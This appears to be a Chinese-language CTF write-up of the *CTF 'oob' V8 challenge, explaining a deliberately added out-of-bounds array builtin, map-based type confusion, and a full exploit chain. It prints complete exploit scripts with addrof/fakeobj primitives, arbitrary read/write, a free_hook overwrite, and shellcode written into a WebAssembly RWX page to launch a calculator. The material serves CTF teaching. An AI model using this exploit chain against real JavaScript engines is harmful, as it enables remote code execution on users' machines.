*CTF OOB分析

阅读量    69773 | 评论 2

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

题目介绍

来自*CTF的v8 pwn题,漏洞点比较简单,利用起来也不是很复杂,比较适合作为v8的入门

 

题目环境搭建

v8是由google开发的java script引擎。由于特殊条件的限制,我们如果想要对它进行分析研究,就需要使用一些科学手段。科学手段操作方法这里不多讲了,参见下面的链接。
https://mem2019.github.io/jekyll/update/2019/07/18/V8-Env-Config.html
配置完后,调整到对应v8版本并应用题目给的patch。

git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../oob.diff

./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release

./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug

其中debug版本中存在检查,触发本题的漏洞时会做检查然后直接崩溃,这里编译出来只是为了看v8的一些内存结构,漏洞触发和调试均放在release版本上。

 

基础知识

v8对象结构

js作为一个面向对象的语言,它的变量都是用类表示的。并且由于js是一个动态语言,它的类的成员是可以变得,这就导致它类的内存结构和C那些不太一样,复杂很多。
v8下类的派生结构图:

在v8里,js类的一般结构如下:

[ class / map ] -> ... ; 指向内部类或者数组对象的map对象
[ properties  ] -> [empty array]
[ elements    ] -> [empty array] ; 数值类型名称的属性
[ reserved #1 ] -\
[ reserved #2 ]  |
[ reserved #3 ]  }- in object properties,即预分配的内存空间
...............  |
[ reserved #N ] -/

我们来用debug版的v8看看实际情况下是个什么情况
写一个测试用的js

let a = new ArrayBuffer(8);
%DebugPrint(a);
%SystemBreak();

以arraybuffer为例
arraybuffer的结构:

avatar

gdb看的内存:

avatar

注意那个地址的最后,它的值看起来不是对齐的。这是因为v8里有个tagged pointer机制,一个地址指向的如果不是SMI(就是小整数),它的最低位就会打上一个标记,就会有个1,看起来就不是对齐的,用的时候要减1。

在v8的类结构里面,和本题关系比较大的是map这个元素。这个元素简单来说就是v8用来指示这个对象里的数据如何被解析的。要注意的是v8解析对象类型靠的就是它,也就是说如果你能改变它,你就能让v8错误地解析一个对象。

 

漏洞分析

题目提供了一个patch文件,给我们造了个漏洞:

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();

     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

重点关注builtins-array.cc里面的改动,另外两个文件的改动只是为了让它正常工作。

这一段改动主要给array对象造了这么一个oob方法,功能为:
1、当参数只有一个(即我们在调用的时候什么也不传,因为所有方法都会有个this指针作为默认参数),就返回数组最后一个元素之后的元素
2、当参数有两个(即我们在调用的时候传一个参数),就用我们传入的参数覆盖数组最后一个元素之后的元素
3、其他情况下返回一个undefined

那么它返回和覆盖的究竟是个什么呢
我们用gdb调试看看

let a = [1.1,2.2,3.3,4.4];
%DebugPrint(a);
%SystemBreak();

avatar

箭头指向的是数组数据真正存放的地方,我们看看这片区域里有啥

avatar

开头是的0x10是指向properties的指针和数组信息位,然后是数组的是个元素,然后在元素的后面,就是红圈圈着的那个,是指向数组对象map对象的指针。也就是说,这个oob方法能返回给我们数组对象的map,还能让我们修改它。

前面说过,map是v8用来判断对象类别的,我们能修改它,就能引起v8的类别混淆。这有什么用呢?我们用另外一个数组来说明

let obj1 = {'a':1.1};
let obj2 = {'b':2.2};
let a = [obj1,obj2];
%DebugPrint(a);
%SystemBreak();

avatar

avatar

可以看到这个用对象当元素的数组在结构上和前面那个浮点数组其实差不多,看内存,存储的都是一串浮点数,区别在于其解析方式。那么如果我们把浮点数组的map改成对象数组的,我们就能在浮点数组的元素所指向的地方伪造一个对象,反过来我们就能得到一个对象的地址,这就是类型混淆所能带来的功效。

按照上面的分析,我们来编写利用。首先是实现利用类型混淆来伪造对象和读取对象地址。

先写个类型转换方便后面利用,v8存储都是用浮点数(除了小整形),不能直接读,我们也不能直接写,要用函数转换。

function hex(i)
{
    return '0x'+i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
class Memory{
    constructor(){
        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.bytes = new Uint8Array(this.buf);
    }
    f2i(val){
        this.f64[0] = val;
        let tmp = Array.from(this.u32);
        return tmp[1] * 0x100000000 + tmp[0];
    }
    i2f(val){
        let tmp = [];
        tmp[0] = parseInt(val % 0x100000000);
        tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
        this.u32.set(tmp);
        return this.f64[0];
    }
}
let mem = new Memory();

然后是类型混淆的部分

let float_array = [1.1,2.2,3.3,4.4];
let obj = {'a':1.1};
let obj_array = [obj];
let float_map = float_array.oob()
let obj_map = obj_array.oob();
let maxSize = 1028 * 8;
function addrof(obj)
{
  obj_array[0] = obj;
  obj_array.oob(float_map);
  let addr = mem.f2i(obj_array[0])
  obj_array.oob(obj_map);
  return addr;
}
function fakeobj(addr)
{
  float_array[0] = mem.i2f(addr);
  float_array.oob(obj_map);
  let fake = float_array[0];
  float_array.oob(float_map);
  return fake;
}

这里就是照上面的思路,用修改map指针的方式来实现读取对象的地址和伪造对象。有了这两个功能还不够,我们要做v8的漏洞利用一般都需要搞出来任意地址读写。

任意地址写照上面的思路好写,伪造对象修改对象属性即可。那任意地址读怎么办呢

我们可以使用伪造结构的方式,来伪造出一个浮点数组来。如果我们在一个长度为4的浮点数组元素区上方0x20位置伪造一个对象,那么这个数组的第一个元素就是map指针,第三个元素就是这个伪造对象的元素区指针,把它改成我们想要的目标就能读取目标地址处的值了。

let arb_Buffer = [float_map,1.1,2.2,3.3];
function arbRead(addr)
{
  if (addr % 2 == 0) 
  {
    addr += 1;
  }
  let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
  arb_Buffer[2] = mem.i2f(addr - 0x10);
  let result = mem.f2i(OBJ[0]);
  console.log("[*]value at "+hex(addr)+" is "+hex(result));
  return result;
}

而任意地址读一开始想法如下:

function backstoreWrite(addr,value)
{
  let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
  arb_Buffer[2] = mem.i2f(addr - 0x10);
  OBJ[0] = mem.i2f(value);
}

但这样在写某些地址时会报错,具体原因我也不知道,应该和map指针的其他机制有关。于是以这个函数为基础,又使用dataview和arraybuffer的backingstore来实现了另一个任意地址写(backingstore类似于数组的element,在v8中也是任意地址写的常用方法)

function arbWrite(addr,value)
{
  let buf = new ArrayBuffer(8);
  let view = new DataView(buf);
  let backingsotre = addrof(buf)+0x20;
  backstoreWrite(backingsotre,addr);
  view.setBigInt64(0,BigInt(value),true);
}

有了任意地址读写,就能开始利用了

 

漏洞利用

比较简单的,修改free_hook的方法

一般来说我们做pwn,要控制指令流方法就这么几个。这一题我们可以改freehook,也能rop。这里将比较简单的覆盖free_hook的方法
首先,我们需要libc基址。在做别的题的时候,我曾经见过一个通过大量释放堆块,然后在堆块中搜索mainarena地址来得到libc基址的方法。但由于v8的垃圾回收基址,这方法不确定性比较大,而且费时间。于是我就想有没有稳定的方法,然后找到了下面这个方法

这个方法是利用v8浮点数组对象的一个特性,简单来说就是里面存在一条链:

array->array.constructor+0x30->addr of codes

在数组的constructor对象地址偏移0x30的地方,稳定存放着和数组初始化有关的v8引擎代码的地址。通过这个地址,我们能得到程序的基址,算出got表地址,通过读取got表我们就能得到libc中函数的地址,从而算出libc基址

let test = [1.1,2.2,3.3,4.4];
let code_addr = arbRead(addrof(test.constructor)+0x30);
let elf_base = arbRead(code_addr+0x41)-0xad54e0;
let fprintf_got = 0xd9a3a0+elf_base;
let libcbase = arbRead(fprintf_got) - 0x64eb0;
console.log("[*]libcbase ==> "+hex(libcbase));

然后我们把free_hook盖成system(盖成onegadget没有什么意义,不如system执行一些命令),再随便释放一个带有指令的堆块,使用console.log就能做到

let systemaddr = libcbase + 0x000000000004F550;
let freehook = libcbase + 0x3ed8e8;
arbWrite(freehook,systemaddr);
//%SystemBreak();
console.log('xcalc');

avatar

这个方法虽然简单,但它有几个问题
1、弹完计算器之后它还会free别的很多堆块,你不能保证free的时候freehook不会导致什么问题,而且控制台会一直弹字符,比较难看。
2、在现实情况下,v8是开了沙箱的,我们达到命令执行之后通常还得做逃逸,如果是直接盖free_hook会导致后面逃逸的部分不好搞

基于这两个问题,一般情况下我们选择第二种方法来利用

写入shellcode

如果能执行shellcode,那我们可以做的事情就比只用system多一点。
写入shellcode的思路大体上就是开一块RWX的区域,然后往里写shellcode执行。这里我们使用webasm的方法来执行。老版本好像还有直接改JIT优化的代码区这种操作,但现在不行,本题中也不涉及JIT。

v8提供WebAssembly这种对象让我们能写wasm来产生一个函数。但是这个对象在生成底层代码的时候是会检查的,会阻止你传入那些系统函数,于是就需要我们在它生成完底层代码之后往它开的RWX页里写我们自己的shellcode,注意这里的shellcode要用wasm写。
利用代码如下:

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

let rwx_page_addr = arbRead(addrof(wasm_instance)-1+0x88);

console.log("[+]RWX Wasm page addr: " + hex(rwx_page_addr));

function copy_shellcode(addr, shellcode) 
{
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20;
    backstoreWrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
    dataview.setUint32(4*i, shellcode[i], true);
    }
}

let shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

console.log("[+]Copying shellcode to RWX page");

copy_shellcode(rwx_page_addr, shellcode);

console.log("[+]Popping calculator");

f();

avatar

如果你不想用wasm,这里还可以用rop的方法,具体操作这里就不多说了,大体思路就是用environ变量获取一个栈上的地址,然后把ROP开RWX的链写到栈上,再在栈上的一片区域(因为你不能确定它返回地址是哪个)布置retn,用栈喷的方法来控制程序运行。

 

exp:

修改free_hook版

function hex(i)
{
    return '0x'+i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
class Memory{
    constructor(){
        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.bytes = new Uint8Array(this.buf);
    }
    f2i(val){
        this.f64[0] = val;
        let tmp = Array.from(this.u32);
        return tmp[1] * 0x100000000 + tmp[0];
    }
    i2f(val){
        let tmp = [];
        tmp[0] = parseInt(val % 0x100000000);
        tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
        this.u32.set(tmp);
        return this.f64[0];
    }
}
var mem = new Memory();


let float_array = [1.1,2.2,3.3,4.4];
let obj = {'a':1.1};
let obj_array = [obj];
let float_map = float_array.oob()
let obj_map = obj_array.oob();
let maxSize = 1028 * 8;
function addrof(obj)
{
  obj_array[0] = obj;
  obj_array.oob(float_map);
  let addr = mem.f2i(obj_array[0])
  obj_array.oob(obj_map);
  return addr;
}
function fakeobj(addr)
{
  float_array[0] = mem.i2f(addr);
  float_array.oob(obj_map);
  let fake = float_array[0];
  float_array.oob(float_map);
  return fake;
}
let arb_Buffer = [float_map,1.1,2.2,3.3];
function arbRead(addr)
{
  if (addr % 2 == 0) 
  {
    addr += 1;
  }
  let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
  arb_Buffer[2] = mem.i2f(addr - 0x10);
  let result = mem.f2i(OBJ[0]);
  console.log("[*]value at "+hex(addr)+" is "+hex(result));
  return result;
}
function backstoreWrite(addr,value)
{
  let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
  arb_Buffer[2] = mem.i2f(addr - 0x10);
  OBJ[0] = mem.i2f(value);
}
function arbWrite(addr,value)
{
  let buf = new ArrayBuffer(8);
  let view = new DataView(buf);
  let backingsotre = addrof(buf)+0x20;
  backstoreWrite(backingsotre,addr);
  view.setBigInt64(0,BigInt(value),true);
}
let test = [1.1,2.2,3.3,4.4];
let code_addr = arbRead(addrof(test.constructor)+0x30);
let elf_base = arbRead(code_addr+0x41)-0xad54e0;
let fprintf_got = 0xd9a3a0+elf_base;
let libcbase = arbRead(fprintf_got) - 0x64eb0;
console.log("[*]libcbase ==> "+hex(libcbase));
let systemaddr = libcbase + 0x000000000004F550;
let freehook = libcbase + 0x3ed8e8;
arbWrite(freehook,systemaddr);
console.log('xcalc');

shellcode版

function hex(i)
{
    return '0x'+i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
class Memory{
    constructor(){
        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.bytes = new Uint8Array(this.buf);
    }
    f2i(val){
        this.f64[0] = val;
        let tmp = Array.from(this.u32);
        return tmp[1] * 0x100000000 + tmp[0];
    }
    i2f(val){
        let tmp = [];
        tmp[0] = parseInt(val % 0x100000000);
        tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
        this.u32.set(tmp);
        return this.f64[0];
    }
}
let mem = new Memory();


let float_array = [1.1,2.2,3.3,4.4];
let obj = {'a':1.1};
let obj_array = [obj];
let float_map = float_array.oob()
let obj_map = obj_array.oob();
let maxSize = 1028 * 8;
function addrof(obj)
{
  obj_array[0] = obj;
  obj_array.oob(float_map);
  let addr = mem.f2i(obj_array[0])
  obj_array.oob(obj_map);
  return addr;
}
function fakeobj(addr)
{
  float_array[0] = mem.i2f(addr);
  float_array.oob(obj_map);
  let fake = float_array[0];
  float_array.oob(float_map);
  return fake;
}
let arb_Buffer = [float_map,1.1,2.2,3.3];
function arbRead(addr)
{
  if (addr % 2 == 0) 
  {
    addr += 1;
  }
  let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
  arb_Buffer[2] = mem.i2f(addr - 0x10);
  let result = mem.f2i(OBJ[0]);
  console.log("[*]value at "+hex(addr)+" is "+hex(result));
  return result;
}
function backstoreWrite(addr,value)
{
  let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
  arb_Buffer[2] = mem.i2f(addr - 0x10);
  OBJ[0] = mem.i2f(value);
}
function arbWrite(addr,value)
{
  let buf = new ArrayBuffer(8);
  let view = new DataView(buf);
  let backingsotre = addrof(buf)+0x20;
  backstoreWrite(backingsotre,addr);
  view.setBigInt64(0,BigInt(value),true);
}

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

let rwx_page_addr = arbRead(addrof(wasm_instance)-1+0x88);

console.log("[+]RWX Wasm page addr: " + hex(rwx_page_addr));

function copy_shellcode(addr, shellcode) 
{
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20;
    backstoreWrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
    dataview.setUint32(4*i, shellcode[i], true);
    }
}

let shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

console.log("[+]Copying shellcode to RWX page");

copy_shellcode(rwx_page_addr, shellcode);

console.log("[+]Popping calculator");

f();
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多